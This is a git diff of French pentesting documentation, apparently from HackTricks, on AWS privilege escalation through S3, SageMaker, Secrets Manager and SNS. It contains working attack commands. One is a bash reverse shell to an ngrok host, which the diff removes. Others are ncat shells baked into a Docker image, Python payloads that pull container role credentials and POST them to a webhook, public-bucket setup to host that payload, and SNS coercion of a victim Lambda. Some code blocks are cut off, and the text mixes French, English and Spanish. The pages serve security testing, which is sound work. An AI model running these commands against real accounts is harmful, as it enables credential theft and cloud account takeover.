[https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md similarity index 55% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index 8e80e9efe..ad3f6bb11 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -1,14 +1,14 @@ # AWS - S3 Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## S3 ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -Un attaquant ayant ces permissions sur des buckets intéressants pourrait être en mesure de détourner des ressources et d'escalader des privilèges. +Un attacker disposant de ces permissions sur des buckets intéressants pourrait hijack resources et escalate privileges. -Par exemple, un attaquant ayant ces **permissions sur un bucket cloudformation** appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra détourner le déploiement. L'accès peut être accordé avec la politique suivante : +Par exemple, un attacker disposant de ces **permissions sur un cloudformation bucket** appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra hijack le déploiement. L'accès peut être accordé avec la policy suivante: ```json { "Version": "2012-10-17", @@ -34,7 +34,7 @@ Par exemple, un attaquant ayant ces **permissions sur un bucket cloudformation** ] } ``` -Et le détournement est possible car il y a une **petite fenêtre de temps entre le moment où le modèle est téléchargé** dans le bucket et le moment où le **modèle est déployé**. Un attaquant pourrait simplement créer une **lambda function** dans son compte qui sera **déclenchée lorsqu'une notification de bucket est envoyée**, et **détourner** le **contenu** de ce **bucket**. +Et le hijack est possible parce qu'il existe une **petite fenêtre temporelle entre le moment où le template est uploadé** dans le bucket et le moment où le **template est déployé**. Un attaquant pourrait simplement créer une **lambda function** dans son compte qui **se déclenche lorsque qu'une notification de bucket est envoyée**, et **hijacks** le **content** de ce **bucket**. ![](<../../../images/image (174).png>) @@ -43,29 +43,28 @@ Pour plus d'informations, consultez la recherche originale : [https://rhinosecur ### `s3:PutObject`, `s3:GetObject` -Ce sont les permissions pour **obtenir et télécharger des objets dans S3**. Plusieurs services à l'intérieur d'AWS (et en dehors) utilisent le stockage S3 pour stocker des **fichiers de configuration**.\ -Un attaquant avec un **accès en lecture** pourrait trouver des **informations sensibles** sur eux.\ -Un attaquant avec un **accès en écriture** pourrait **modifier les données pour abuser d'un service et essayer d'escalader les privilèges**.\ +Ce sont les permissions pour **récupérer et téléverser des objets sur S3**. Plusieurs services au sein d'AWS (et en dehors) utilisent le stockage S3 pour conserver des **fichiers de configuration**.\ +Un attaquant ayant un **accès en lecture** pourrait y trouver des **informations sensibles**.\ +Un attaquant ayant un **accès en écriture** pourrait **modifier les données pour abuser d'un service et tenter d'escalader des privilèges**.\ Voici quelques exemples : -- Si une instance EC2 stocke les **données utilisateur dans un bucket S3**, un attaquant pourrait le modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**. +- Si une instance EC2 stocke les **user data dans un bucket S3**, un attaquant pourrait les modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**. -### `s3:PutObject`, `s3:GetObject` (optionnel) sur le fichier d'état terraform +### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file -Il est très courant que les fichiers d'état [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) soient sauvegardés dans le stockage blob des fournisseurs de cloud, par exemple AWS S3. Le suffixe de fichier pour un fichier d'état est `.tfstate`, et les noms de bucket indiquent souvent qu'ils contiennent des fichiers d'état terraform. En général, chaque compte AWS a un tel bucket pour stocker les fichiers d'état qui montrent l'état du compte.\ -De plus, dans les comptes du monde réel, presque tous les développeurs ont généralement `s3:*` et parfois même les utilisateurs professionnels ont `s3:Put*`. +Il est très courant que les fichiers d'état [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) soient enregistrés dans le blob storage des fournisseurs cloud, par ex. AWS S3. Le suffixe des fichiers d'état est `.tfstate`, et les noms de bucket indiquent souvent qu'ils contiennent des fichiers d'état terraform. En général, chaque compte AWS a un tel bucket pour stocker les fichiers d'état qui reflètent l'état du compte. De plus, dans des comptes réels, presque toujours tous les développeurs ont `s3:*` et parfois même les utilisateurs business ont `s3:Put*`. -Donc, si vous avez les permissions énumérées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir un RCE dans le pipeline avec les privilèges de `terraform` - la plupart du temps `AdministratorAccess`, vous rendant l'admin du compte cloud. De plus, vous pouvez utiliser ce vecteur pour effectuer une attaque par déni de service en faisant en sorte que `terraform` supprime des ressources légitimes. +Donc, si vous disposez des permissions listées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir RCE dans le pipeline avec les privilèges de `terraform` — la plupart du temps `AdministratorAccess`, ce qui fait de vous l'admin du compte cloud. Vous pouvez aussi utiliser ce vecteur pour effectuer une attaque par déni de service en faisant en sorte que `terraform` supprime des ressources légitimes. -Suivez la description dans la section *Abusing Terraform State Files* de la page *Terraform Security* pour du code d'exploitation directement utilisable : +Suivez la description dans la section *Abusing Terraform State Files* de la page *Terraform Security* pour du code d'exploit directement exploitable : {{#ref}} -../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files +../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files {{#endref}} ### `s3:PutBucketPolicy` -Un attaquant, qui doit être **du même compte**, sinon l'erreur `The specified method is not allowed will trigger`, avec cette permission pourra se donner plus de permissions sur le(s) bucket(s) lui permettant de lire, écrire, modifier, supprimer et exposer des buckets. +Un attaquant, qui doit être **du même compte** — sinon l'erreur `The specified method is not allowed` sera déclenchée — avec cette permission pourra se donner plus de permissions sur le(s) bucket(s), lui permettant de lire, écrire, modifier, supprimer et exposer des buckets. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -123,7 +122,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Un attaquant pourrait abuser de ces autorisations pour lui accorder plus d'accès sur des objets spécifiques à l'intérieur des buckets. +Un attaquant pourrait abuser de ces autorisations pour s'octroyer un accès plus étendu à des objets spécifiques à l'intérieur des buckets. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -178,9 +177,9 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -Un attaquant disposant de ces privilèges est censé pouvoir appliquer un Acl à une version d'objet spécifique. +Un attaquant disposant de ces privilèges devrait pouvoir appliquer un Acl à une version spécifique d'un objet. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md deleted file mode 100644 index ab7fade67..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ /dev/null @@ -1,106 +0,0 @@ -# AWS - Sagemaker Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS - Sagemaker Privesc - - - -### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` - -Commencez à créer un notebook avec le rôle IAM pour y accéder : -```bash -aws sagemaker create-notebook-instance --notebook-instance-name example \ ---instance-type ml.t2.medium \ ---role-arn arn:aws:iam:::role/service-role/ -``` -La réponse doit contenir un champ `NotebookInstanceArn`, qui contiendra l'ARN de la nouvelle instance de notebook créée. Nous pouvons ensuite utiliser l'API `create-presigned-notebook-instance-url` pour générer une URL que nous pouvons utiliser pour accéder à l'instance de notebook une fois qu'elle est prête : -```bash -aws sagemaker create-presigned-notebook-instance-url \ ---notebook-instance-name -``` -Naviguez vers l'URL avec le navigateur et cliquez sur \`Open JupyterLab\`\` en haut à droite, puis faites défiler vers le bas jusqu'à l'onglet “Launcher” et sous la section “Other”, cliquez sur le bouton “Terminal”. - -Maintenant, il est possible d'accéder aux informations d'identification des métadonnées du rôle IAM. - -**Impact potentiel :** Privesc au rôle de service sagemaker spécifié. - -### `sagemaker:CreatePresignedNotebookInstanceUrl` - -S'il y a des Jupyter **notebooks déjà en cours d'exécution** dessus et que vous pouvez les lister avec `sagemaker:ListNotebookInstances` (ou les découvrir de toute autre manière). Vous pouvez **générer une URL pour eux, y accéder et voler les informations d'identification comme indiqué dans la technique précédente**. -```bash -aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name -``` -**Impact potentiel :** Privesc au rôle de service sagemaker attaché. - -### `sagemaker:CreateProcessingJob,iam:PassRole` - -Un attaquant avec ces permissions peut faire en sorte que **sagemaker exécute un processingjob** avec un rôle sagemaker attaché. L'attaquant peut indiquer la définition du conteneur qui sera exécuté dans une **instance de compte ECS gérée par AWS**, et **voler les identifiants du rôle IAM attaché**. -```bash -# I uploaded a python docker image to the ECR -aws sagemaker create-processing-job \ ---processing-job-name privescjob \ ---processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ ---app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ ---role-arn - -# In my tests it took 10min to receive the shell -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds -``` -**Impact potentiel :** Privesc au rôle de service sagemaker spécifié. - -### `sagemaker:CreateTrainingJob`, `iam:PassRole` - -Un attaquant avec ces permissions sera capable de créer un job d'entraînement, **exécutant un conteneur arbitraire** dessus avec un **rôle attaché**. Par conséquent, l'attaquant pourra voler les identifiants du rôle. - -> [!WARNING] -> Ce scénario est plus difficile à exploiter que le précédent car vous devez générer une image Docker qui enverra le rev shell ou les identifiants directement à l'attaquant (vous ne pouvez pas indiquer une commande de démarrage dans la configuration du job d'entraînement). -> -> ```bash -> # Créer l'image docker -> mkdir /tmp/rev -> ## Notez que le job d'entraînement va appeler un exécutable appelé "train" -> ## C'est pourquoi je mets le rev shell dans /bin/train -> ## Définissez les valeurs de et -> cat > /tmp/rev/Dockerfile < FROM ubuntu -> RUN apt update && apt install -y ncat curl -> RUN printf '#!/bin/bash\nncat -e /bin/sh' > /bin/train -> RUN chmod +x /bin/train -> CMD ncat -e /bin/sh -> EOF -> -> cd /tmp/rev -> sudo docker build . -t reverseshell -> -> # Téléchargez-le sur ECR -> sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ -> sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest -> sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest -> ``` -```bash -# Create trainning job with the docker image created -aws sagemaker create-training-job \ ---training-job-name privescjob \ ---resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ ---algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ ---role-arn \ ---output-data-config '{"S3OutputPath": "s3://"}' \ ---stopping-condition '{"MaxRuntimeInSeconds": 600}' - -#To get the creds -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer -``` -**Impact potentiel :** Privesc au rôle de service sagemaker spécifié. - -### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` - -Un attaquant avec ces permissions pourra (potentiellement) créer un **job d'entraînement d'hyperparamètres**, **exécutant un conteneur arbitraire** avec un **rôle attaché**.\ -_Je n'ai pas exploité en raison du manque de temps, mais cela semble similaire aux exploits précédents, n'hésitez pas à envoyer une PR avec les détails de l'exploitation._ - -## Références - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md new file mode 100644 index 000000000..dc0b392c4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -0,0 +1,259 @@ +# AWS - Sagemaker Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS - Sagemaker Privesc + +### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` + +Commencez par créer un notebook en attachant le rôle IAM qui permettra d'y accéder : +```bash +aws sagemaker create-notebook-instance --notebook-instance-name example \ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ +``` +La réponse doit contenir un champ `NotebookInstanceArn`, qui contiendra l'ARN de l'instance de notebook nouvellement créée. Nous pouvons ensuite utiliser l'API `create-presigned-notebook-instance-url` pour générer une URL que nous pourrons utiliser pour accéder à l'instance de notebook une fois qu'elle sera prête : +```bash +aws sagemaker create-presigned-notebook-instance-url \ +--notebook-instance-name +``` +Accédez à l'URL avec le navigateur et cliquez sur `Open JupyterLab`` en haut à droite, puis descendez jusqu'à l'onglet “Launcher” et, dans la section “Other”, cliquez sur le bouton “Terminal”. + +Il est maintenant possible d'accéder aux identifiants des métadonnées du rôle IAM. + +**Impact potentiel :** Privesc sur le rôle de service sagemaker spécifié. + +### `sagemaker:CreatePresignedNotebookInstanceUrl` + +S'il y a des Jupyter **notebooks déjà en cours d'exécution** dessus et que vous pouvez les lister avec `sagemaker:ListNotebookInstances` (ou les découvrir d'une autre manière). Vous pouvez **générer une URL pour eux, y accéder et voler les identifiants comme indiqué dans la technique précédente**. +```bash +aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name +``` +**Impact potentiel :** Privesc au rôle de service sagemaker attaché. + +### `sagemaker:CreateProcessingJob`, `iam:PassRole` + +Un attaquant disposant de ces autorisations peut faire **SageMaker exécuter un processing job** avec un rôle SageMaker attaché à celui-ci. En réutilisant l'un des AWS Deep Learning Containers qui incluent déjà Python (et en exécutant le job dans la même région que l'URI), il peut lancer du code inline sans construire ses propres images : +```bash +REGION= +ROLE_ARN= +IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3 +ENV='{"W":"https://example.com/webhook"}' + +aws sagemaker create-processing-job \ +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \ +--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--environment "$ENV" \ +--role-arn $ROLE_ARN + +# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen. +``` +**Impact potentiel :** Privesc vers le rôle de service sagemaker spécifié. + +### `sagemaker:CreateTrainingJob`, `iam:PassRole` + +Un attacker disposant de ces permissions peut lancer un training job qui exécute du code arbitraire avec le rôle indiqué. En utilisant un conteneur officiel de SageMaker et en réécrivant l'entrypoint avec un payload inline, vous n'avez pas besoin de construire vos propres images : +```bash +REGION= +ROLE_ARN= +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +ENV='{"W":"https://example.com/webhook"}' +OUTPUT_S3=s3:///training-output/ +# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3. + +aws sagemaker create-training-job \ +--training-job-name privesc-train \ +--role-arn $ROLE_ARN \ +--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \ +--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \ +--stopping-condition '{"MaxRuntimeInSeconds":600}' \ +--environment "$ENV" + +# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol. +``` +**Impact potentiel :** Privesc au rôle de service SageMaker spécifié. + +### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` + +Un attaquant disposant de ces autorisations peut lancer un HyperParameter Tuning Job qui exécute du code contrôlé par l'attaquant sous le rôle fourni. Le mode Script nécessite d'héberger le payload dans S3, mais toutes les étapes peuvent être automatisées depuis la CLI : +```bash +REGION= +ROLE_ARN= +BUCKET=sm-hpo-privesc-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION + +# Allow public reads so any SageMaker role can pull the code +aws s3api put-public-access-block \ +--bucket $BUCKET \ +--public-access-block-configuration '{ +"BlockPublicAcls": false, +"IgnorePublicAcls": false, +"BlockPublicPolicy": false, +"RestrictPublicBuckets": false +}' + +aws s3api put-bucket-policy --bucket $BUCKET --policy "{ +\"Version\": \"2012-10-17\", +\"Statement\": [ +{ +\"Effect\": \"Allow\", +\"Principal\": \"*\", +\"Action\": \"s3:GetObject\", +\"Resource\": \"arn:aws:s3:::$BUCKET/*\" +} +] +}" + +cat <<'EOF' > /tmp/train.py +import os, time, urllib.request + +def main(): +meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI") +if not meta: +return +creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read() +req = urllib.request.Request( +"https://example.com/webhook", +data=creds, +headers={"Content-Type": "application/json"} +) +urllib.request.urlopen(req) +print("train:loss=0") +time.sleep(300) + +if __name__ == "__main__": +main() +EOF + +cd /tmp +tar -czf code.tar.gz train.py +aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read + +echo "dummy" > /tmp/input.txt +aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read + +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +CODE_S3=s3://$BUCKET/code/train-code.tar.gz +TRAIN_INPUT_S3=s3://$BUCKET/input +OUTPUT_S3=s3://$BUCKET/output +# El rol necesita permisos ECR y escritura en el bucket. + +cat > /tmp/hpo-definition.json < + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 2) Update the Studio profile to use the new role (no iam:PassRole) +aws sagemaker update-user-profile \ +--domain-id \ +--user-profile-name \ +--user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-user-profile \ +--domain-id \ +--user-profile-name \ +--query 'UserSettings.ExecutionRole' --output text + +# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level +aws sagemaker update-space \ +--domain-id \ +--space-name \ +--space-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-space \ +--domain-id \ +--space-name \ +--query 'SpaceSettings.ExecutionRole' --output text + +# 4) Optionally, change the domain default so every profile inherits the new role +aws sagemaker update-domain \ +--domain-id \ +--default-user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-domain \ +--domain-id \ +--query 'DefaultUserSettings.ExecutionRole' --output text + +# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-atk + +# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: +# aws sts get-caller-identity # should reflect the new ExecutionRole +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text +``` +**Impact potentiel**: Privilege escalation aux permissions du rôle d'exécution SageMaker spécifié pour les sessions interactives Studio. + +## Références + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md deleted file mode 100644 index 4d3f0b978..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ /dev/null @@ -1,48 +0,0 @@ -# AWS - Secrets Manager Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Pour plus d'informations sur Secrets Manager, consultez : - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### `secretsmanager:GetSecretValue` - -Un attaquant disposant de cette permission peut récupérer la **valeur enregistrée d'un secret** dans AWS **Secretsmanager**. -```bash -aws secretsmanager get-secret-value --secret-id # Get value -``` -**Impact potentiel :** Accéder à des données hautement sensibles dans le service AWS Secrets Manager. - -> [!WARNING] -> Notez que même avec la permission `secretsmanager:BatchGetSecretValue`, un attaquant aurait également besoin de `secretsmanager:GetSecretValue` pour récupérer les secrets sensibles. - -### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) - -Avec les permissions précédentes, il est possible de **donner l'accès à d'autres principals/accounts (même externes)** pour accéder au **secret**. Notez que pour **lire des secrets chiffrés** avec une clé KMS, l'utilisateur doit également avoir **l'accès à la clé KMS** (plus d'infos dans la [KMS Enum page](../aws-services/aws-kms-enum.md)). -```bash -aws secretsmanager list-secrets -aws secretsmanager get-resource-policy --secret-id -aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json -``` -policy.json: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "secretsmanager:GetSecretValue", -"Resource": "*" -} -] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md new file mode 100644 index 000000000..274434357 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md @@ -0,0 +1,48 @@ +# AWS - Secrets Manager Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Pour plus d'informations sur Secrets Manager, consultez : + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### `secretsmanager:GetSecretValue` + +Un attaquant disposant de cette permission peut obtenir la **valeur enregistrée à l'intérieur d'un secret** dans AWS **Secretsmanager**. +```bash +aws secretsmanager get-secret-value --secret-id # Get value +``` +**Impact potentiel :** Accès à des données hautement sensibles dans le service AWS Secrets Manager. + +> [!WARNING] +> Notez que même avec la permission `secretsmanager:BatchGetSecretValue`, un attaquant aurait aussi besoin de `secretsmanager:GetSecretValue` pour récupérer les secrets sensibles. + +### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) + +Avec les permissions précédentes, il est possible d'**accorder l'accès à d'autres principals/accounts (même externes)** pour accéder au **secret**. Notez que, pour **lire des secrets chiffrés** avec une KMS key, l'utilisateur doit également avoir **l'accès à la KMS key** (plus d'infos sur la [KMS Enum page](../../aws-services/aws-kms-enum.md)). +```bash +aws secretsmanager list-secrets +aws secretsmanager get-resource-policy --secret-id +aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json +``` +Veuillez fournir le contenu de policy.json que vous souhaitez traduire. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] +} +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md deleted file mode 100644 index e6184179b..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SNS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### `sns:Publish` - -Un attaquant pourrait envoyer des messages malveillants ou indésirables au sujet SNS, ce qui pourrait entraîner une corruption des données, déclencher des actions non intentionnelles ou épuiser des ressources. -```bash -aws sns publish --topic-arn --message -``` -**Impact potentiel** : Exploitation de vulnérabilités, corruption de données, actions non intentionnelles ou épuisement des ressources. - -### `sns:Subscribe` - -Un attaquant pourrait s'abonner à un sujet SNS, obtenant potentiellement un accès non autorisé aux messages ou perturbant le fonctionnement normal des applications s'appuyant sur le sujet. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -``` -**Impact potentiel** : Accès non autorisé aux messages (informations sensibles), interruption de service pour les applications dépendant du sujet affecté. - -### `sns:AddPermission` - -Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un sujet SNS, obtenant potentiellement d'autres autorisations. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -``` -**Impact potentiel** : Accès non autorisé au sujet, exposition des messages ou manipulation du sujet par des utilisateurs ou services non autorisés, perturbation du fonctionnement normal des applications s'appuyant sur le sujet. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md new file mode 100644 index 000000000..a449745ea --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md @@ -0,0 +1,79 @@ +# AWS - SNS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### `sns:Publish` + +Un attaquant pourrait envoyer des messages malveillants ou indésirables au SNS topic, pouvant potentiellement provoquer une corruption de données, déclencher des actions non désirées ou épuiser les ressources. +```bash +aws sns publish --topic-arn --message +``` +**Impact potentiel** : Exploitation de vulnérabilités, corruption de données, actions involontaires ou épuisement des ressources. + +### `sns:Subscribe` + +Un attaquant pourrait s'abonner à un SNS topic, obtenant potentiellement un accès non autorisé aux messages ou perturbant le fonctionnement normal des applications qui s'appuient sur ce topic. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +``` +**Potential Impact**: Accès non autorisé aux messages (informations sensibles), perturbation du service pour les applications s'appuyant sur le topic affecté. + +### `sns:AddPermission` + +Un attaquant pourrait accorder à des utilisateurs ou services non autorisés l'accès à un topic SNS, obtenant potentiellement des autorisations supplémentaires. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +``` +**Impact potentiel** : accès non autorisé au topic, exposition des messages, ou manipulation du topic par des utilisateurs ou services non autorisés, perturbation du fonctionnement normal des applications dépendant du topic. + +### Invoquer une Lambda en abusant d'une permission SNS générique (no `SourceArn`) + +Si la politique basée sur les ressources d'une fonction Lambda autorise `sns.amazonaws.com` à l'invoquer sans restreindre le topic source (`SourceArn`), n'importe quel topic SNS (même dans un autre compte) peut s'abonner et déclencher la fonction. Un attaquant disposant de permissions SNS basiques peut forcer la fonction Lambda à s'exécuter sous le rôle IAM de la fonction avec des entrées contrôlées par l'attaquant. + +> [!TIP] +> TODO : Est-ce vraiment possible entre comptes ? + +Préconditions +- La politique de la Lambda victime contient une déclaration comme ci-dessous, SANS condition `SourceArn` : +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": {"Service": "sns.amazonaws.com"}, +"Action": "lambda:InvokeFunction" +// No Condition/SourceArn restriction here +} +] +} +``` +Étapes d'abus (même compte ou entre comptes) +```bash +# 1) Create a topic you control +ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text) + +# 2) Subscribe the victim Lambda to your topic +aws sns subscribe \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--protocol lambda \ +--notification-endpoint arn:aws:lambda:us-east-1::function: + +# 3) Publish an attacker-controlled message to trigger the Lambda +aws sns publish \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--message 